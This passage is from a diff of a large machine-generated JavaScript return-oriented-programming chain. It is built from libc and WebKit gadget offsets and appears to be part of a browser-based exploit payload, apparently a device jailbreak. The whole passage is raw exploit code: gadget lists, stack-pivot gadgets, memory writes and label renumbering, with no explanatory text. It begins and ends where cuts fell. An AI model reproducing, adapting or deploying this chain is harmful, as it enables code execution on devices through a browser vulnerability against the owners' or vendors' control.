-//L6522: +//L6267: set_gadgets([ +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L6283: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6284: +db([4294965192, 4294967295]); // -0x838 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+338840, //L6288 +webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+343040, //L6540 +ropchain+338824, //L6286 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L6538: -db([4294965208, 4294967295]); // -0x828 -set_gadget(libc_base+792472,); //pop rcx -//L6540: +//L6286: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6288: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877 //pop rsi +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+338984, //L6291 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+338952, //L6289 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+338968, //L6290 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); +//L6289: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6290: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L6291: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+343120, //L6541 +ropchain+339056, //L6292 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6541: +//L6292: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+343176, //L6544 +ropchain+339112, //L6294 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6544: +//L6294: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -47232,102 +46346,102 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+343272, //L6547 +ropchain+339192, //L6296 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6545: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6547: +//L6296: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6297: +db([4294965164, 4294967295]); // -0x854 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+343376, //L6550 +ropchain+339312, //L6301 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+343360, //L6549 +ropchain+339296, //L6299 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6549: +//L6299: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6550: +//L6301: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+343544, //L6553 +ropchain+339480, //L6304 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+343560, //L6554 +ropchain+339496, //L6305 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+343512, //L6551 +ropchain+339464, //L6302 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+343528, //L6552 +ropchain+339448, //L6303 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6551: +//L6303: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6552: +//L6302: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6553: +//L6304: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6554: +//L6305: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+343720, //L6558 +ropchain+339656, //L6309 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+343672, //L6555 +ropchain+339608, //L6307 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+343704, //L6557 +ropchain+339640, //L6308 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6555: +//L6307: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6556: +//L6306: db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L6557: +//L6308: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6558: +//L6309: db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+343792, //L6559 +ropchain+339728, //L6310 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+343808, //L6560 +ropchain+339744, //L6311 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6559: +//L6310: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6560: +//L6311: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -47338,200 +46452,200 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+343896, //L6561 +ropchain+339832, //L6312 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6561: +//L6312: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+343952, //L6564 +ropchain+339888, //L6314 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6564: +//L6314: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+344088, //L6566 +ropchain+340024, //L6317 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+344104, //L6567 +ropchain+340040, //L6318 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+344072, //L6565 +ropchain+340008, //L6316 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6565: +//L6316: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6566: +//L6317: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6567: +//L6318: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+344272, //L6570 +ropchain+340208, //L6321 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+344288, //L6571 +ropchain+340224, //L6322 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+344240, //L6568 +ropchain+340192, //L6319 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+344256, //L6569 +ropchain+340176, //L6320 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6568: +//L6320: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6569: +//L6319: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6570: +//L6321: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6571: +//L6322: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+344360, //L6572 +ropchain+340296, //L6323 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+344376, //L6573 +ropchain+340312, //L6324 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6572: +//L6323: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6573: +//L6324: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+344480, //L6576 +ropchain+340400, //L6325 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+344496, //L6577 +ropchain+340432, //L6328 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6574: -db([4294965152, 4294967295]); // -0x860 -set_gadget(libc_base+792472,); //pop rcx -//L6576: +//L6325: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6326: +db([4294965156, 4294967295]); // -0x85c set_gadget(libc_base+206806,); //pop rdi -//L6577: +//L6328: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6578: -db([4294965152, 4294967295]); // -0x860 -set_gadget(libc_base+792472,); //pop rcx -//L6580: +//L6329: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6330: +db([4294965156, 4294967295]); // -0x85c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+344656, //L6583 +ropchain+340592, //L6334 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+344640, //L6582 +ropchain+340576, //L6332 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6582: +//L6332: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6583: +//L6334: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+344824, //L6586 +ropchain+340760, //L6337 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+344840, //L6587 +ropchain+340776, //L6338 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+344792, //L6584 +ropchain+340744, //L6335 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+344808, //L6585 +ropchain+340728, //L6336 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6584: +//L6336: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6585: +//L6335: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6586: +//L6337: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6587: +//L6338: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+344944, //L6590 +ropchain+340864, //L6339 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+344960, //L6591 +ropchain+340896, //L6342 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6588: -db([4294965148, 4294967295]); // -0x864 -set_gadget(libc_base+792472,); //pop rcx -//L6590: +//L6339: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6340: +db([4294965152, 4294967295]); // -0x860 set_gadget(libc_base+206806,); //pop rdi -//L6591: +//L6342: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+345032, //L6593 +ropchain+340952, //L6343 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L6592: +//L6343: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L6593: +set_gadget(libc_base+788575,); //pop rax +//L6344: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -47540,7 +46654,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6594: +//L6345: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -47549,7 +46663,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6595: +//L6346: db([28, 0]); // 0x1c set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -47557,8 +46671,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6597: -ropchain+345232, //L6596 +//L6348: +ropchain+341168, //L6347 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -47566,8 +46680,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+392664, //L5892 -//L6596: +ropchain+396232, //L5649 +//L6347: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -47575,81 +46689,118 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+345368, //L6599 +ropchain+341304, //L6350 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+345384, //L6600 +ropchain+341320, //L6351 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+345352, //L6598 +ropchain+341288, //L6349 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6598: +//L6349: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6599: +//L6350: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6600: +//L6351: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+345480, //L6602 +ropchain+341416, //L6353 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+345464, //L6601 +ropchain+341400, //L6352 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6601: +//L6352: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6602: +//L6353: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+345576, //L6604 +ropchain+341496, //L6354 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L6603: -db([4294965208, 4294967295]); // -0x828 -set_gadget(libc_base+788575,); //pop rax -//L6604: +//L6354: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6355: +db([4294965192, 4294967295]); // -0x838 set_gadgets([ libc_base+547636, //add rax, rsi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+341616, //L6359 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+341600, //L6357 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L6357: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6359: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+341760, //L6362 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+341728, //L6360 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+341744, //L6361 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); +//L6360: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6361: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L6362: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+345656, //L6605 +ropchain+341832, //L6363 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6605: +//L6363: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+345712, //L6608 +ropchain+341888, //L6365 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6608: +//L6365: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -47657,102 +46808,102 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+345808, //L6611 +ropchain+341968, //L6367 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6609: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6611: +//L6367: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6368: +db([4294965164, 4294967295]); // -0x854 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+345912, //L6614 +ropchain+342088, //L6372 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+345896, //L6613 +ropchain+342072, //L6370 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6613: +//L6370: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6614: +//L6372: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+346080, //L6617 +ropchain+342256, //L6375 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+346096, //L6618 +ropchain+342272, //L6376 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+346048, //L6615 +ropchain+342240, //L6373 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+346064, //L6616 +ropchain+342224, //L6374 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6615: +//L6374: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6616: +//L6373: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6617: +//L6375: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6618: +//L6376: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+346256, //L6622 +ropchain+342432, //L6380 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+346208, //L6619 +ropchain+342384, //L6378 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+346240, //L6621 +ropchain+342416, //L6379 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6619: +//L6378: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6620: +//L6377: db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L6621: +//L6379: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6622: +//L6380: db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+346328, //L6623 +ropchain+342504, //L6381 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+346344, //L6624 +ropchain+342520, //L6382 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6623: +//L6381: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6624: +//L6382: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -47763,44 +46914,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+346432, //L6625 +ropchain+342608, //L6383 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6625: +//L6383: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+346488, //L6628 +ropchain+342664, //L6385 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6628: +//L6385: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+346560, //L6629 +ropchain+342736, //L6387 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6629: +//L6387: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+346616, //L6632 +ropchain+342792, //L6389 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6632: +//L6389: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx @@ -47811,55 +46962,55 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+346720, //L6635 +ropchain+342880, //L6391 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6633: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L6635: +//L6391: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6392: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+346824, //L6638 +ropchain+343000, //L6396 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+346808, //L6637 +ropchain+342984, //L6394 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6637: +//L6394: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6638: +//L6396: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+346968, //L6641 +ropchain+343144, //L6399 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+346936, //L6639 +ropchain+343112, //L6397 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+346952, //L6640 +ropchain+343128, //L6398 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6639: +//L6397: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6640: +//L6398: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6641: +//L6399: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -47868,39 +47019,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+347048, //L6643 +ropchain+343224, //L6400 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6643: +//L6400: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6642: +//L6401: db([3116, 0]); // 0xc2c set_gadget(libc_base+206806,); //pop rdi -//L6644: +//L6402: db([3116, 0]); // 0xc2c set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+347184, //L6645 +ropchain+343360, //L6403 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+347216, //L6647 +ropchain+343392, //L6405 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+347200, //L6646 +ropchain+343376, //L6404 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6645: +//L6403: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6646: +//L6404: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6647: +//L6405: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -47918,7 +47069,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6648: +//L6406: db([322371584, 0]); // 0x13370000 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -47926,77 +47077,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+347400, //L6651 +ropchain+343560, //L6407 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6649: -db([4294965152, 4294967295]); // -0x860 -set_gadget(libc_base+792472,); //pop rcx -//L6651: +//L6407: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6408: +db([4294965156, 4294967295]); // -0x85c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+347504, //L6654 +ropchain+343680, //L6412 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+347488, //L6653 +ropchain+343664, //L6410 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6653: +//L6410: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6654: +//L6412: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+347672, //L6657 +ropchain+343848, //L6415 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+347688, //L6658 +ropchain+343864, //L6416 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+347640, //L6655 +ropchain+343832, //L6413 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+347656, //L6656 +ropchain+343816, //L6414 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6655: +//L6414: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6656: +//L6413: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6657: +//L6415: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6658: +//L6416: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+347784, //L6660 +ropchain+343960, //L6418 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+347768, //L6659 +ropchain+343944, //L6417 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6659: 